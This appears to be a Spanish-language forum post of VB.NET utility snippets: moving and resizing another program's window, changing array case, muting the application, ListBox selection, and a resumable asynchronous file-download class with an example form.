Private Sub Shift_Process_Window_Position(ByVal ProcessName As String, ByVal X As Integer, ByVal Y As Integer)
ProcessName = If(ProcessName.ToLower.EndsWith(".exe"), _
ProcessName.Substring(0, ProcessName.LastIndexOf(".")), _
ProcessName)
Dim rect As Rectangle = Nothing
Dim proc As Process = Nothing
Try
' Find the process
proc = Process.GetProcessesByName(ProcessName).First
' Store the process Main Window positions and sizes into the Rectangle.
GetWindowRect(proc.MainWindowHandle, rect)
' Move the Main Window
MoveWindow(proc.MainWindowHandle, _
If(Not X = Nothing, rect.Left + X, rect.Left), _
If(Not Y = Nothing, rect.Top + Y, rect.Top), _
(rect.Width - rect.Left), _
(rect.Height - rect.Top), _
True)
Catch ex As InvalidOperationException
'Throw New Exception("Process not found.")
MessageBox.Show("Process not found.", Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
Finally
rect = Nothing
If proc IsNot Nothing Then proc.Dispose()
End Try
End Sub
#End Region
Desplaza el tamaño de la ventana de un proceso
#Region " Shift Process Window Size "
' [ Shift Process Window Size ]
'
' // By Elektro H@cker
'
' Examples :
'
' Shift the size of notepad window to +10 Width and -5 Height
' Shift_Process_Window_Size("notepad.exe", +10, -5)
'
' Shift the size of notepad window to +10 Width and preserving the original Height process window size.
' Shift_Process_Window_Size("notepad.exe", +10, Nothing)
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As Rectangle) As Boolean
End Function
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, Width As Integer, Height As Integer, repaint As Boolean) As Boolean
End Function
Private Sub Shift_Process_Window_Size(ByVal ProcessName As String, _
ByVal Width As Integer, _
ByVal Height As Integer)
ProcessName = If(ProcessName.ToLower.EndsWith(".exe"), _
ProcessName.Substring(0, ProcessName.LastIndexOf(".")), _
ProcessName)
Dim rect As Rectangle = Nothing
Dim proc As Process = Nothing
Try
' Find the process
proc = Process.GetProcessesByName(ProcessName).First
' Store the process Main Window positions and sizes into the Rectangle.
GetWindowRect(proc.MainWindowHandle, rect)
' Resize the Main Window
MoveWindow(proc.MainWindowHandle, _
rect.Left, _
rect.Top, _
If(Not Width = Nothing, (rect.Width - rect.Left) + Width, (rect.Width - rect.Left)), _
If(Not Height = Nothing, (rect.Height - rect.Top) + Height, (rect.Height - rect.Top)), _
True)
Catch ex As InvalidOperationException
'Throw New Exception("Process not found.")
MessageBox.Show("Process not found.", Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
Finally
rect = Nothing
If proc IsNot Nothing Then proc.Dispose()
End Try
End Sub
#End Region
Volver todos los elementos de un Array a Lower-Case:
#Region " Array ToLower-Case "
' [ Array ToLower-Case ]
'
' // By Elektro H@cker
'
' Examples :
'
' Dim Elements As IEnumerable = Array_ToLowerCase({"abC", "DEf", "GhI", Nothing, ""})
Private Function Array_ToLowerCase(ByVal [Array] As IEnumerable) As IEnumerable
Return From str In [Array] _
Select If(String.IsNullOrEmpty(str), _
String.Empty, str.ToLower())
End Function
#End Region
Volver todos los elementos de un Array a Upper-Case:
#Region " Array_ToUpperCase "
' [ Array_ToUpperCase ]
'
' // By Elektro H@cker
'
' Examples :
'
' Dim Elements As IEnumerable = Array_ToUpperCase({"abC", "DEf", "GhI", Nothing, ""})
Private Function Array_ToUpperCase(ByVal [Array] As IEnumerable) As IEnumerable
Return From str In [Array] _
Select If(String.IsNullOrEmpty(str), _
String.Empty, str.ToUpper())
End Function
#End Region
101 Ejemplos de como usar LINQ: http://msdn.microsoft.com/en-us/vstudio/bb688088.aspx
Ejemplos de uso de la librería "TypedUnits" -> http://www.codeproject.com/Articles/611731/Working-with-Units-and-Amounts
Sirve para manejar cálculos y convertir casi todo tipo de unidades a otras unidades (Ej: Newtons, kilometros, kilogramos).
Dim Conversion As TypedUnits.Amount = _
TypedUnits.UnitManager.ConvertTo(New TypedUnits.Amount( _
2, _
StandardUnits.TimeUnits.Minute), _
StandardUnits.TimeUnits.Second)
MsgBox(Conversion.Value & " Seconds") ' Result: 120 Seconds
Dim unit As TypedUnits.Amount = _
New TypedUnits.Amount(1, StandardUnits.LengthUnits.KiloMeter)
MsgBox(unit.Unit.Factor) ' Result: 1000
Mutear la aplicación:
#Region " Mute Application "
' [ Mute Application ]
'
' Examples :
' MuteApplication()
<System.Runtime.InteropServices.DllImport("winmm.dll")> _
Private Shared Function waveOutSetVolume(hwo As IntPtr, dwVolume As UInteger) As Integer
End Function
Public Shared Sub MuteApplication()
Dim NewVolume As Integer = 0
Dim NewVolumeAllChannels As UInteger = ((CUInt(NewVolume) And &HFFFF) Or (CUInt(NewVolume) << 16))
waveOutSetVolume(IntPtr.Zero, NewVolumeAllChannels)
End Sub
#End Region
· Seleccionar items en un Listbox sin que el Listbox salte a la posición del nuevo item seleccionado.
#Region " [ListBox] Select item without jump "
' [ListBox] Select item without jump
'
' // By Elektro H@cker
'
' Examples :
'
' Select_Item_Without_Jump(ListBox1, 50, ListBoxItemSelected.Select)
'
' For x As Integer = 0 To ListBox1.Items.Count - 1
' Select_Item_Without_Jump(ListBox1, x, ListBoxItemSelected.Select)
' Next
Public Enum ListBoxItemSelected
[Select] = 1
[Unselect] = 0
End Enum
Public Shared Sub Select_Item_Without_Jump(lb As ListBox, index As Integer, selected As ListBoxItemSelected)
Dim i As Integer = lb.TopIndex ' Store the selected item index
lb.BeginUpdate() ' Disable drawing on control
lb.SetSelected(index, selected) ' Select the item
lb.TopIndex = i ' Jump to the previous selected item
lb.EndUpdate() ' Eenable drawing
End Sub
#End Region
· Desactivar/Activar el Dibujado (Drawing) en un control
#Region " Enable-Disable Drawing on Control"
' Enable-Disable Drawing on Control
'
' // By Elektro H@cker
'
' Examples :
'
' To disable drawing:
' Control_Drawing(ListBox1, DrawingEnabled.Disable)
'
' To enable drawing:
' Control_Drawing(ListBox1, DrawingEnabled.Enable)
<System.Runtime.InteropServices.DllImport("user32.dll", _
EntryPoint:="LockWindowUpdate", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
Public Shared Function LockWindow(Handle As IntPtr) As IntPtr
End Function
Private Enum DrawingEnabled
Enable
Disable
End Enum
Private Sub Control_Drawing(ByVal ctrl As Control, ByVal DrawingEnabled As DrawingEnabled)
Select Case DrawingEnabled
Case DrawingEnabled.Enable
LockWindow(ctrl.Handle)
LockWindow(IntPtr.Zero)
Case DrawingEnabled.Disable
LockWindow(ctrl.Handle)
End Select
End Sub
#End Region
Una Class que nos facilitará mucho la tarea de descargar archivos de forma asincronica, para descargar archivos de forma simultanea.
#Region " DownloadFileAsyncExtended "
#Region " Usage Examples "
' Public Class Form1
'
' ' // Instance a new Downlaoder Class
' Private WithEvents Downloader As New DownloadFileAsyncExtended
'
' ' // create a listview to update.
' Private lv As New ListView With {.View = View.Details, .Dock = DockStyle.Fill}
'
' ' // create a listview item to update.
' Private lvi As New ListViewItem
'
' ' // Set an url file to downloads.
' Dim url As String = "http://msft.digitalrivercontent.net/win/X17-58857.iso"
' Private Sub Form1_Shown(sender As Object, e As EventArgs) Handles MyBase.Shown
'
' ' Add columns to listview.
' lv.Columns.AddRange({New ColumnHeader With {.Text = "Filename"}, _
' New ColumnHeader With {.Text = "Size"}, _
' New ColumnHeader With {.Text = "Status"}, _
' New ColumnHeader With {.Text = "Completed"}, _
' New ColumnHeader With {.Text = "Progress"}, _
' New ColumnHeader With {.Text = "Speed"}, _
' New ColumnHeader With {.Text = "Time Elapsed"}, _
' New ColumnHeader With {.Text = "Time Left"} _
' })
'
' ' Add subitems to listview item.
' lvi.SubItems.AddRange({"Filename", "Size", "Status", "Completed", "Progress", "Speed", "Time Elapsed", "Time Left"})
'
' ' Add a Object tag to the listview item,
' ' so later we can reffer to this download to pause/resume or cancel it.
' lvi.Tag = Downloader
'
' ' Add the Listview control into the UI.
' Me.Controls.Add(lv)
' ' Add the Listview item into the Listview.
' lv.Items.Add(lvi)
'
' ' Set Application simultaneous internet downloads limit.
' Net.ServicePointManager.DefaultConnectionLimit = 5
'
' '// IMPORTANT !!
' '// If you don't add this line, then all events are raised on a separate thread,
' '// and you will get cross-thread errors when accessing the Listview,
' '// or other controls directly in the raised events.
' Downloader.SynchronizingObject = Me
'
' '// Update frequency.
' '// A value higher than 500 ms will prevent the DownloadProgressChanged event,
' '// from firing continuously and hogging CPU when updating the controls.
' '// If you download small files that could be downloaded within a second,
' '// then set it to "NoDelay" or the progress might not be visible.
' Downloader.ProgressUpdateFrequency = DownloadFileAsyncExtended.UpdateFrequency.MilliSeconds_500
'
' '// The method to actually download a file. The "userToken" parameter can,
' '// for example be a control you wish to update in the DownloadProgressChanged,
' '// and DownloadCompleted events. It is a ListViewItem in this example.
' Downloader.DowloadFileAsync(url, "C:\Downloaded file.iso", lvi)
'
' End Sub
' '// This event allows you to show the download progress to the user.
'
' ' e.BytesReceived = Bytes received so far.
' ' e.DownloadSpeedBytesPerSec = Download speed in bytes per second.
' ' e.DownloadTimeSeconds = Download time in seconds so far.
' ' e.ProgressPercentage = Percentage of the file downloaded.
' ' e.RemainingTimeSeconds = Remaining download time in seconds.
' ' e.TotalBytesToReceive = Total size of the file that is being downloaded.
' ' e.userToken = Usually the control(s) you wish to update.
' Private Sub DownloadProgressChanged(ByVal sender As Object, ByVal e As FileDownloadProgressChangedEventArgs) _
' Handles Downloader.DownloadProgressChanged
'
' ' Get the ListViewItem we passed as "userToken" parameter, so we can update it.
' Dim lvi As ListViewItem = DirectCast(e.userToken, ListViewItem)
'
' ' Update the ListView item subitems.
' lvi.SubItems(0).Text = url
' lvi.SubItems(1).Text = String.Format("{0:#,#} KB", (e.TotalBytesToReceive / 1024))
' lvi.SubItems(2).Text = "Downloading"
' lvi.SubItems(3).Text = String.Format("{0:#,#} KB", (e.BytesReceived / 1024))
' lvi.SubItems(4).Text = e.ProgressPercentage & "%"
' lvi.SubItems(5).Text = (e.DownloadSpeedBytesPerSec \ 1024).ToString & " kB/s"
' lvi.SubItems(6).Text = String.Format("{0}:{1}:{2}", _
' (e.DownloadTimeSeconds \ 3600).ToString("00"), _
' ((e.DownloadTimeSeconds Mod 3600) \ 60).ToString("00"), _
' (e.DownloadTimeSeconds Mod 60).ToString("00"))
' lvi.SubItems(7).Text = String.Format("{0}:{1}:{2}", _
' (e.RemainingTimeSeconds \ 3600).ToString("00"), _
' ((e.RemainingTimeSeconds Mod 3600) \ 60).ToString("00"), _
' (e.RemainingTimeSeconds Mod 60).ToString("00"))
'
' End Sub
' '// This event lets you know when the download is complete.
' '// The download finished successfully, the user cancelled the download or there was an error.
' Private Sub DownloadCompleted(ByVal sender As Object, ByVal e As FileDownloadCompletedEventArgs) _
' Handles Downloader.DownloadCompleted
'
' ' Get the ListViewItem we passed as userToken parameter, so we can update it.
' Dim lvi As ListViewItem = DirectCast(e.userToken, ListViewItem)
'
' If e.ErrorMessage IsNot Nothing Then ' Was there an error.
'
' lvi.SubItems(2).Text = "Error: " & e.ErrorMessage.Message.ToString
'
' ' Set an Error ImageKey.
' ' lvi.ImageKey = "Error"
'
' ElseIf e.Cancelled Then ' The user cancelled the download.
'
' lvi.SubItems(2).Text = "Paused"
'
' ' Set a Paused ImageKey.
' ' lvi.ImageKey = "Paused"
'
' Else ' Download was successful.
'
' lvi.SubItems(2).Text = "Finished"
'
' ' Set a Finished ImageKey.
' ' lvi.ImageKey = "Finished"
'
' End If
'
' ' Set Tag to Nothing in order to remove the wClient class instance,
' ' so this way we know we can't resume the download.
' lvi.Tag = Nothing
'
' End Sub
' '// To Resume a file:
' ' Download_Helper.Resume_Download(lvi.Tag)
' '// To pause or cancel a file:
' ' Download_Helper.PauseCancel_Download(lvi.Tag)
' End Class
#End Region
Imports System.IO
Imports System.Net
Imports System.Threading
'// This is the main download class.
Public Class DownloadFileAsyncExtended
#Region "Methods"
Private _URL As String = String.Empty
Private _LocalFilePath As String = String.Empty
Private _userToken As Object = Nothing
Private _ContentLenght As Long = 0
Private _TotalBytesReceived As Long = 0
'// Start the asynchronous download.
Public Sub DowloadFileAsync(ByVal URL As String, ByVal LocalFilePath As String, ByVal userToken As Object)
Dim Request As HttpWebRequest
Dim fileURI As New Uri(URL) '// Will throw exception if empty or random string.
'// Make sure it's a valid http:// or https:// url.
If fileURI.Scheme <> Uri.UriSchemeHttp And fileURI.Scheme <> Uri.UriSchemeHttps Then
Throw New Exception("Invalid URL. Must be http:// or https://")
End If
'// Save this to private variables in case we need to resume.
_URL = URL
_LocalFilePath = LocalFilePath
_userToken = userToken
'// Create the request.
Request = CType(HttpWebRequest.Create(New Uri(URL)), HttpWebRequest)
Request.Credentials = Credentials
Request.AllowAutoRedirect = True
Request.ReadWriteTimeout = 30000
Request.Proxy = Proxy
Request.KeepAlive = False
Request.Headers = _Headers '// NOTE: Will throw exception if wrong headers supplied.
'// If we're resuming, then add the AddRange header.
If _ResumeAsync Then
Dim FileInfo As New FileInfo(LocalFilePath)
If FileInfo.Exists Then
Request.AddRange(FileInfo.Length)
End If
End If
'// Signal we're busy downloading
_isbusy = True
'// Make sure this is set to False or the download will stop immediately.
_CancelAsync = False
'// This is the data we're sending to the GetResponse Callback.
Dim State As New HttpWebRequestState(LocalFilePath, Request, _ResumeAsync, userToken)
'// Begin to get a response from the server.
Dim result As IAsyncResult = Request.BeginGetResponse(AddressOf GetResponse_Callback, State)
'// Add custom 30 second timeout for connecting.
'// The Timeout property is ignored when using the asynchronous BeginGetResponse.
ThreadPool.RegisterWaitForSingleObject(result.AsyncWaitHandle, New WaitOrTimerCallback(AddressOf TimeoutCallback), State, 30000, True)
End Sub
'// Here we receive the response from the server. We do not check for the "Accept-Ranges"
'// response header, in order to find out if the server supports resuming, because it MAY
'// send the "Accept-Ranges" response header, but is not required to do so. This is
'// unreliable, so we'll just continue and catch the exception that will occur if not
'// supported and send it the DownloadCompleted event. We also don't check if the
'// Content-Length is '-1', because some servers return '-1', eventhough the file/webpage
'// you're trying to download is valid. e.ProgressPercentage returns '-1' in that case.
Private Sub GetResponse_Callback(ByVal result As IAsyncResult)
Dim State As HttpWebRequestState = CType(result.AsyncState, HttpWebRequestState)
Dim DestinationStream As FileStream = Nothing
Dim Response As HttpWebResponse = Nothing
Dim Duration As New Stopwatch
Dim Buffer(8191) As Byte
Dim BytesRead As Long = 0
Dim ElapsedSeconds As Long = 0
Dim DownloadSpeed As Long = 0
Dim DownloadProgress As Long = 0
Dim BytesReceivedThisSession As Long = 0
''// Get response
Response = CType(State.Request.EndGetResponse(result), HttpWebResponse)
'// Asign Response headers to ReadOnly ResponseHeaders property.
_ResponseHeaders = Response.Headers
'// If the server does not reply with an 'OK (200)' message when starting
'// the download or a 'PartialContent (206)' message when resuming.
If Response.StatusCode <> HttpStatusCode.OK And Response.StatusCode <> HttpStatusCode.PartialContent Then
'// Send error message to anyone who is listening.
OnDownloadCompleted(New FileDownloadCompletedEventArgs(New Exception(Response.StatusCode), False, State.userToken))
Return
End If
'// Create/open the file to write to.
If State.ResumeDownload Then
'// If resumed, then create or open the file.
DestinationStream = New FileStream(State.LocalFilePath, FileMode.OpenOrCreate, FileAccess.Write)
Else
'// If not resumed, then create the file, which will delete the existing file if it already exists.
DestinationStream = New FileStream(State.LocalFilePath, FileMode.Create, FileAccess.Write)
'// Get the ContentLength only when we're starting the download. Not when resuming.
_ContentLenght = Response.ContentLength
End If
'// Moves stream position to beginning of the file when starting the download.
'// Moves stream position to end of the file when resuming the download.
DestinationStream.Seek(0, SeekOrigin.End)
'// Start timer to get download duration / download speed, etc.
Duration.Start()
'// Get the Response Stream.
Using responseStream As Stream = Response.GetResponseStream()
Do
'// Read some bytes.
BytesRead = responseStream.Read(Buffer, 0, Buffer.Length)
If BytesRead > 0 Then
'// Write incoming data to the file.
DestinationStream.Write(Buffer, 0, BytesRead)
'// Count the total number of bytes downloaded.
_TotalBytesReceived += BytesRead
'// Count the number of bytes downloaded this session (Resume).
BytesReceivedThisSession += BytesRead
'// Get number of elapsed seconds (need round number to prevent 'division by zero' error).
ElapsedSeconds = CLng(Duration.Elapsed.TotalSeconds)
'// Update frequency
If (Duration.ElapsedMilliseconds - DownloadProgress) >= ProgressUpdateFrequency Then
DownloadProgress = Duration.ElapsedMilliseconds
'// Calculate download speed in bytes per second.
If ElapsedSeconds > 0 Then
DownloadSpeed = (BytesReceivedThisSession \ ElapsedSeconds)
End If
'// Send download progress to anyone who is listening.
OnDownloadProgressChanged(New FileDownloadProgressChangedEventArgs(_TotalBytesReceived, _ContentLenght, ElapsedSeconds, DownloadSpeed, State.userToken))
End If
'// Exit loop when paused.
If _CancelAsync Then Exit Do
End If
Loop Until BytesRead = 0
End Using
Try
'// Send download progress once more. If the UpdateFrequency has been set to
'// HalfSecond or Seconds, then the last percentage returned might be 98% or 99%.
'// This makes sure it's 100%.
OnDownloadProgressChanged(New FileDownloadProgressChangedEventArgs(_TotalBytesReceived, _ContentLenght, Duration.Elapsed.TotalSeconds, DownloadSpeed, State.userToken))
If _CancelAsync Then
'// Send completed message (Paused) to anyone who is listening.
OnDownloadCompleted(New FileDownloadCompletedEventArgs(Nothing, True, State.userToken))
Else
'// Send completed message (Finished) to anyone who is listening.
OnDownloadCompleted(New FileDownloadCompletedEventArgs(Nothing, False, State.userToken))
End If
Catch ex As Exception
'// Send completed message (Error) to anyone who is listening.
OnDownloadCompleted(New FileDownloadCompletedEventArgs(ex, False, State.userToken))
Finally
'// Close the file.
If DestinationStream IsNot Nothing Then
DestinationStream.Flush()
DestinationStream.Close()
DestinationStream = Nothing
End If
'// Stop and reset the duration timer.
Duration.Reset()
Duration = Nothing
'// Signal we're not downloading anymore.
_isbusy = False
End Try
End Sub
'// Here we will abort the download if it takes more than 30 seconds to connect, because
'// the Timeout property is ignored when using the asynchronous BeginGetResponse.
Private Sub TimeoutCallback(ByVal State As Object, ByVal TimedOut As Boolean)
If TimedOut Then
Dim RequestState As HttpWebRequestState = CType(State, HttpWebRequestState)
If RequestState IsNot Nothing Then
RequestState.Request.Abort()
End If
End If
End Sub
'// Cancel the asynchronous download.
Private _CancelAsync As Boolean = False
Public Sub CancelAsync()
_CancelAsync = True
End Sub
'// Resume the asynchronous download.
Private _ResumeAsync As Boolean = False
Public Sub ResumeAsync()
'// Throw exception if download is already in progress.
If _isbusy Then
Throw New Exception("Download is still busy. Use IsBusy property to check if download is already busy.")
End If
'// Throw exception if URL or LocalFilePath is empty, which means
'// the download wasn't even started yet with DowloadFileAsync.
If String.IsNullOrEmpty(_URL) AndAlso String.IsNullOrEmpty(_LocalFilePath) Then
Throw New Exception("Cannot resume a download which hasn't been started yet. Call DowloadFileAsync first.")
Else
'// Set _ResumeDownload to True, so we know we need to add
'// the Range header in order to resume the download.
_ResumeAsync = True
'// Restart (Resume) the download.
DowloadFileAsync(_URL, _LocalFilePath, _userToken)
End If
End Sub
#End Region
#Region "Properties"
Public Enum UpdateFrequency
_NoDelay = 0
MilliSeconds_100 = 100
MilliSeconds_200 = 200
MilliSeconds_300 = 300
MilliSeconds_400 = 400
MilliSeconds_500 = 500
MilliSeconds_600 = 600
MilliSeconds_700 = 700
MilliSeconds_800 = 800
MilliSeconds_900 = 900
Seconds_1 = 1000
Seconds_2 = 2000
Seconds_3 = 3000
Seconds_4 = 4000
Seconds_5 = 5000
Seconds_6 = 6000
Seconds_7 = 7000
Seconds_8 = 8000
Seconds_9 = 9000
Seconds_10 = 10000
End Enum
'// Progress Update Frequency.
Public Property ProgressUpdateFrequency() As UpdateFrequency
'// Proxy.
Public Property Proxy() As IWebProxy
'// Credentials.
Public Property Credentials() As ICredentials
'// Headers.
Public Property Headers() As New WebHeaderCollection
'// Is download busy.
Private _isbusy As Boolean = False
Public ReadOnly Property IsBusy() As Boolean
Get
Return _isbusy
End Get
End Property
'// ResponseHeaders.
Private _ResponseHeaders As WebHeaderCollection = Nothing
Public ReadOnly Property ResponseHeaders() As WebHeaderCollection
Get
Return _ResponseHeaders
End Get
End Property
'// SynchronizingObject property to marshal events back to the UI thread.
Private _synchronizingObject As System.ComponentModel.ISynchronizeInvoke
Public Property SynchronizingObject() As System.ComponentModel.ISynchronizeInvoke
Get
Return Me._synchronizingObject
End Get
Set(ByVal value As System.ComponentModel.ISynchronizeInvoke)
Me._synchronizingObject = value
End Set
End Property
#End Region
#Region "Events"
Public Event DownloadProgressChanged As EventHandler(Of FileDownloadProgressChangedEventArgs)
Private Delegate Sub DownloadProgressChangedEventInvoker(ByVal e As FileDownloadProgressChangedEventArgs)
Protected Overridable Sub OnDownloadProgressChanged(ByVal e As FileDownloadProgressChangedEventArgs)
If Me.SynchronizingObject IsNot Nothing AndAlso Me.SynchronizingObject.InvokeRequired Then
'Marshal the call to the thread that owns the synchronizing object.
Me.SynchronizingObject.Invoke(New DownloadProgressChangedEventInvoker(AddressOf OnDownloadProgressChanged), _
New Object() {e})
Else
RaiseEvent DownloadProgressChanged(Me, e)
End If
End Sub
Public Event DownloadCompleted As EventHandler(Of FileDownloadCompletedEventArgs)
Private Delegate Sub DownloadCompletedEventInvoker(ByVal e As FileDownloadCompletedEventArgs)
Protected Overridable Sub OnDownloadCompleted(ByVal e As FileDownloadCompletedEventArgs)
If Me.SynchronizingObject IsNot Nothing AndAlso Me.SynchronizingObject.InvokeRequired Then
'Marshal the call to the thread that owns the synchronizing object.
Me.SynchronizingObject.Invoke(New DownloadCompletedEventInvoker(AddressOf OnDownloadCompleted), _
New Object() {e})
Else
RaiseEvent DownloadCompleted(Me, e)
End If
End Sub
#End Region
End Class
Public Class Download_Helper
''' <summary>
''' Resumes a file download.
''' </summary>
Public Shared Sub Resume_Download(ByVal File As Object)
Dim Downloader As DownloadFileAsyncExtended
Try
Downloader = DirectCast(File, DownloadFileAsyncExtended)
Downloader.CancelAsync()
Catch ex As Exception
MessageBox.Show(ex.Message, Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
End Sub
''' <summary>
''' Pauses or cancel a file download.
''' </summary>
Public Shared Sub PauseCancel_Download(ByVal File As Object)
Dim Downloader As DownloadFileAsyncExtended
Try
Downloader = DirectCast(File, DownloadFileAsyncExtended)
If Not Downloader.IsBusy Then
Downloader.ResumeAsync()
End If
Catch ex As Exception
MessageBox.Show(ex.Message, Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
End Sub
End Class
'// This class is passed as a parameter to the GetResponse Callback,
'// so we can work with the data in the Response Callback.
Public Class HttpWebRequestState
Private _LocalFilePath As String
Private _Request As HttpWebRequest
Private _ResumeDownload As Boolean
Private _userToken As Object
Public Sub New(ByVal LocalFilePath As String, ByVal Request As HttpWebRequest, ByVal ResumeDownload As Boolean, ByVal userToken As Object)
_LocalFilePath = LocalFilePath
_Request = Request
_ResumeDownload = ResumeDownload
_userToken = userToken
End Sub
Public ReadOnly Property LocalFilePath() As String
Get
Return _LocalFilePath
End Get
End Property
Public ReadOnly Property Request() As HttpWebRequest
Get
Return _Request
End Get
End Property
Public ReadOnly Property ResumeDownload() As Boolean
Get
Return _ResumeDownload
End Get
End Property
Public ReadOnly Property userToken() As Object
Get
Return _userToken
End Get
End Property
End Class
'// This is the data returned to the user for each download in the
'// Progress Changed event, so you can update controls with the progress.
Public Class FileDownloadProgressChangedEventArgs
Inherits EventArgs
Private _BytesReceived As Long
Private _TotalBytesToReceive As Long
Private _DownloadTime As Long
Private _DownloadSpeed As Long
Private _userToken As Object
Public Sub New(ByVal BytesReceived As Long, ByVal TotalBytesToReceive As Long, ByVal DownloadTime As Long, ByVal DownloadSpeed As Long, ByVal userToken As Object)
_BytesReceived = BytesReceived
_TotalBytesToReceive = TotalBytesToReceive
_DownloadTime = DownloadTime
_DownloadSpeed = DownloadSpeed
_userToken = userToken
End Sub
Public ReadOnly Property BytesReceived() As Long
Get
Return _BytesReceived
End Get
End Property
Public ReadOnly Property TotalBytesToReceive() As Long
Get
Return _TotalBytesToReceive
End Get
End Property
Public ReadOnly Property ProgressPercentage() As Long
Get
If _TotalBytesToReceive > 0 Then
Return Math.Ceiling((_BytesReceived / _TotalBytesToReceive) * 100)
Else
Return -1
End If
End Get
End Property
Public ReadOnly Property DownloadTimeSeconds() As Long
Get
Return _DownloadTime
End Get
End Property
Public ReadOnly Property RemainingTimeSeconds() As Long
Get
If DownloadSpeedBytesPerSec > 0 Then
Return Math.Ceiling((_TotalBytesToReceive - _BytesReceived) / DownloadSpeedBytesPerSec)
Else
Return 0
End If
End Get
End Property
Public ReadOnly Property DownloadSpeedBytesPerSec() As Long
Get
Return _DownloadSpeed
End Get
End Property
Public ReadOnly Property userToken() As Object
Get
Return _userToken
End Get
End Property
End Class
'// This is the data returned to the user for each download in the
'// Download Completed event, so you can update controls with the result.
Public Class FileDownloadCompletedEventArgs
Inherits EventArgs
Private _ErrorMessage As Exception
Private _Cancelled As Boolean
Private _userToken As Object
Public Sub New(ByVal ErrorMessage As Exception, ByVal Cancelled As Boolean, ByVal userToken As Object)
_ErrorMessage = ErrorMessage
_Cancelled = Cancelled
_userToken = userToken
End Sub
Public ReadOnly Property ErrorMessage() As Exception
Get
Return _ErrorMessage
End Get
End Property
Public ReadOnly Property Cancelled() As Boolean
Get
Return _Cancelled
End Get
End Property
Public ReadOnly Property userToken() As Object
Get
Return _userToken
End Get
End Property
End Class
#End Region
Y aquí una Class para entender su funcionamiento.
(Copiar y pegar la class y compilar)
(http://img850.imageshack.us/img850/7859/b6kb.png)
Public Class Form1
' // Instance a new Downlaoder Class
Private WithEvents Downloader As New DownloadFileAsyncExtended
' // create a listview to update.
Private lv As New ListView With {.View = View.Details, .Dock = DockStyle.Fill}
' // create a listview item to update.
Private lvi As New ListViewItem
'// Set an url file to downloads.
Dim url As String = "http://msft.digitalrivercontent.net/win/X17-58857.iso"
Private Sub Form1_Shown(sender As Object, e As EventArgs) Handles MyBase.Shown
' Add columns to listview.
lv.Columns.AddRange({New ColumnHeader With {.Text = "Filename"}, _
New ColumnHeader With {.Text = "Size"}, _
New ColumnHeader With {.Text = "Status"}, _
New ColumnHeader With {.Text = "Completed"}, _
New ColumnHeader With {.Text = "Progress"}, _
New ColumnHeader With {.Text = "Speed"}, _
New ColumnHeader With {.Text = "Time Elapsed"}, _
New ColumnHeader With {.Text = "Time Left"} _
})
' Add subitems to listview item.
lvi.SubItems.AddRange({"Filename", "Size", "Status", "Completed", "Progress", "Speed", "Time Elapsed", "Time Left"})
' Add a Object tag to the listview item,
' so later we can reffer to this download to pause/resume or cancel it.
lvi.Tag = Downloader
' Add the Listview control into the UI.
Me.Controls.Add(lv)
' Add the Listview item into the Listview.
lv.Items.Add(lvi)
' Set Application simultaneous internet downloads limit.
Net.ServicePointManager.DefaultConnectionLimit = 5
'// IMPORTANT !!
'// If you don't add this line, then all events are raised on a separate thread,
'// and you will get cross-thread errors when accessing the Listview,
'// or other controls directly in the raised events.
Downloader.SynchronizingObject = Me
'// Update frequency.
'// A value higher than 500 ms will prevent the DownloadProgressChanged event,
'// from firing continuously and hogging CPU when updating the controls.
'// If you download small files that could be downloaded within a second,
'// then set it to "NoDelay" or the progress might not be visible.
Downloader.ProgressUpdateFrequency = DownloadFileAsyncExtended.UpdateFrequency.MilliSeconds_500
'// The method to actually download a file. The "userToken" parameter can,
'// for example be a control you wish to update in the DownloadProgressChanged,
'// and DownloadCompleted events. It is a ListViewItem in this example.
Downloader.DowloadFileAsync(url, "C:\Downloaded file.iso", lvi)
End Sub
'// This event allows you to show the download progress to the user.
'
' e.BytesReceived = Bytes received so far.
' e.DownloadSpeedBytesPerSec = Download speed in bytes per second.
' e.DownloadTimeSeconds = Download time in seconds so far.
' e.ProgressPercentage = Percentage of the file downloaded.
' e.RemainingTimeSeconds = Remaining download time in seconds.
' e.TotalBytesToReceive = Total size of the file that is being downloaded.
' e.userToken = Usually the control(s) you wish to update.
Private Sub DownloadProgressChanged(ByVal sender As Object, ByVal e As FileDownloadProgressChangedEventArgs) _
Handles Downloader.DownloadProgressChanged
' Get the ListViewItem we passed as "userToken" parameter, so we can update it.
Dim lvi As ListViewItem = DirectCast(e.userToken, ListViewItem)
' Update the ListView item subitems.
lvi.SubItems(0).Text = url
lvi.SubItems(1).Text = String.Format("{0:#,#} KB", (e.TotalBytesToReceive / 1024))
lvi.SubItems(2).Text = "Downloading"
lvi.SubItems(3).Text = String.Format("{0:#,#} KB", (e.BytesReceived / 1024))
lvi.SubItems(4).Text = e.ProgressPercentage & "%"
lvi.SubItems(5).Text = (e.DownloadSpeedBytesPerSec \ 1024).ToString & " kB/s"
lvi.SubItems(6).Text = String.Format("{0}:{1}:{2}", _
(e.DownloadTimeSeconds \ 3600).ToString("00"), _
((e.DownloadTimeSeconds Mod 3600) \ 60).ToString("00"), _
(e.DownloadTimeSeconds Mod 60).ToString("00"))
lvi.SubItems(7).Text = String.Format("{0}:{1}:{2}", _
(e.RemainingTimeSeconds \ 3600).ToString("00"), _
((e.RemainingTimeSeconds Mod 3600) \ 60).ToString("00"), _
(e.RemainingTimeSeconds Mod 60).ToString("00"))
End Sub
'// This event lets you know when the download is complete.
'// The download finished successfully, the user cancelled the download or there was an error.
Private Sub DownloadCompleted(ByVal sender As Object, ByVal e As FileDownloadCompletedEventArgs) _
Handles Downloader.DownloadCompleted
' Get the ListViewItem we passed as userToken parameter, so we can update it.
Dim lvi As ListViewItem = DirectCast(e.userToken, ListViewItem)
If e.ErrorMessage IsNot Nothing Then ' Was there an error.
lvi.SubItems(2).Text = "Error: " & e.ErrorMessage.Message.ToString
' Set an Error ImageKey.
' lvi.ImageKey = "Error"
ElseIf e.Cancelled Then ' The user cancelled the download.
lvi.SubItems(2).Text = "Paused"
' Set a Paused ImageKey.
' lvi.ImageKey = "Paused"
